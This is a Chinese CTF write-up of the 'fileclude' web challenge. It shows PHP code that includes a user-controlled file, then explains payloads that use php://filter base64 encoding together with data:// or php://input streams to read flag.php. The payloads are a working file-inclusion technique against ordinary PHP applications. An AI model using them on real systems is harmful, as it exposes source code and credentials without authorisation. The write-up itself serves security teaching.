攻防世界27-fileclude-CTFWeb

代码审计,文件包含

WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"])){
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2)) {
        if(file_get_contents($file2) === "hello ctf") {
            include($file1);
        }
    }
    else
        die("NONONO");
}

file1和file2要存在,且不为空,file2的内容时hello,ctf

file_get_contents($file2) 是 PHP 中的一个函数调用,用来读取一个文件的内容。具体来说,$file2 是包含文件路径的变量,file_get_contents 函数会打开该文件并将文件的所有内容作为一个字符串返回,打开失败时返回false;

最后包含file1,我们希望得到flag,获取内容,可以用filter读取

file2=hello,ctf,我们要使用php://input或data://进行绕过

payload1:?file1=php://filter/read/convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf

payload2:?file1=php://filter/read/convert.base64-encode/resource=flag.php&file2=php://input

postdata:a=hello ctf

最后burp抓包删去a=

因为hackbar不能直接发送hello ctf,只能以键值对方式发送

php://filter:当 include($file1) 被执行时,它不会正常包含 flag.php 文件,而是输出其经过 Base64 编码的内容。

data:// 是 PHP 中一种输入流,允许直接在 URL 中传递数据。这种流格式类似于 data: 协议,可以直接嵌入文本数据。这里 file2=data://text/plain,hello ctf 实际上是将字符串 "hello ctf" 作为 file2 的内容。

file_get_contents() 函数期望接收的是一个有效的文件路径,并会尝试读取该文件的内容。

当使用 data://php://input 时,传递的值被解释为一种特殊的输入流,而不是文件名:

  • data://text/plain,hello ctf:这是 PHP 提供的特殊 URI 方案,允许直接将数据嵌入到 URI 中。data://text/plain,hello ctf 会返回文本数据 "hello ctf",并被 file_get_contents() 读取。
  • php://input:这个流可以让 PHP 读取 HTTP 请求体中的原始数据。如果请求体中包含 "hello ctf"file_get_contents('php://input') 会读取并返回它。